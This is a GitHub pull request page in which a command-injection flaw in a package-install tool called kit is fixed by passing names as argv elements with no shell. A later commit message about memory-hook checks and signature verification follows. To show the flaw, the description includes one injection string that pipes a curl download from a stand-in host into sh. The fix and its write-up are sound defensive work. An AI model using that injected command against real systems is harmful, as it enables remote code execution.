Repository navigation
fix(pkg): eliminate shell command injection in kit pkg - #71
Merged
Merged
Conversation
`kit pkg <eco>:<name>@<ver>` built install commands as shell strings and ran
them via `child_process.exec` (i.e. `/bin/sh -c`), interpolating the
user-supplied name/version with no sanitization:
kit pkg 'npm:express@1; curl evil.sh | sh'
→ npm install express@1; curl evil.sh | sh
Triage runs on the bare name ("express"), passes, and the injected command
executes anyway — defeating kit's core "installs nothing untriaged" guarantee,
and an outright RCE if `kit pkg` is ever driven non-interactively (a manifest,
CI step, or agent). `getBrewRepoUrl` had the same shell interpolation.
Fix: ecosystems now build a `(bin, args[])` `InstallSpec` and run through
`execFileNoThrow` — no shell, so name/version reach the package manager as
discrete argv elements and can't break out into a second command. This is the
no-shell discipline the rest of kit already follows.
New `buildInstallSpec()` is exported and unit-tested, including regressions
proving `;`, `|`, `$(…)`, and backticks stay a single inert argv element.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_015ERHw6bVUz39sAuoQZ1iyg
|
✅ Docker image built successfully
|
Merged
2 tasks done
sandstream
added a commit
that referenced
this pull request
Jul 6, 2026
…rification (R4/#77) (#245) * feat(check): gate on memory-hooks liveness (self-playing loop, R5) The self-playing loop (memory capture + statusline) depends on hooks in ~/.claude/settings.json. If they were installed here (durable marker present) but have since vanished, capture is silently OFF — the store looks installed but records nothing (a false green). `kit doctor` already flagged this and `kit memory uninstall` already emits an audit event; this folds the same liveness into the `kit check` security gate. New checkMemoryHooksLiveness(): skips when never installed (CI / fresh machine) and after a clean uninstall (which clears the marker), so it FAILS only on genuine silent degradation (marker present + a hook gone). Env-injected tests cover skip/pass/fail. Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01DbF4MFePXWNCd4dxBQvqH2 * feat(memory): verify shared-tier signatures on the recall inject path (#77) recentDecisions (SessionStart recovery / touched-decisions notice) replayed curated shared entries into every session as trusted "Curated team decisions" without checking their Ed25519 signature — so a tampered or forged team entry rode in as trusted (holistic-review #77). The sign/verify machinery existed (shareEntry signs, kit memory verify verifies) but nothing verified on the inject path. New recallSafeShared(root, entries): drops a bad-sig entry ALWAYS (tamper must never be replayed), and under a committed .kit-policy.signers anchor injects ONLY org-trusted entries; with no anchor everything but tamper is kept so the common team-without-anchor case isn't broken. Wired into recentDecisions. Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01DbF4MFePXWNCd4dxBQvqH2 --------- Co-authored-by: Claude <noreply@anthropic.com>
This was referenced Jul 6, 2026
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
kit pkg <eco>:<name>@<ver>built install commands as shell strings and ran them viachild_process.exec(/bin/sh -c), interpolating unsanitized user input:Triage passes on the bare name, the injected command runs anyway — defeating the triage gate, and an RCE if
kit pkgis driven non-interactively (manifest/CI/agent).getBrewRepoUrlhad the same shell interpolation.Fix: ecosystems build a
(bin, args[])InstallSpecrun throughexecFileNoThrow— no shell, so metacharacters are inert argv. NewbuildInstallSpec()is unit-tested incl. injection regressions. (Security review finding.)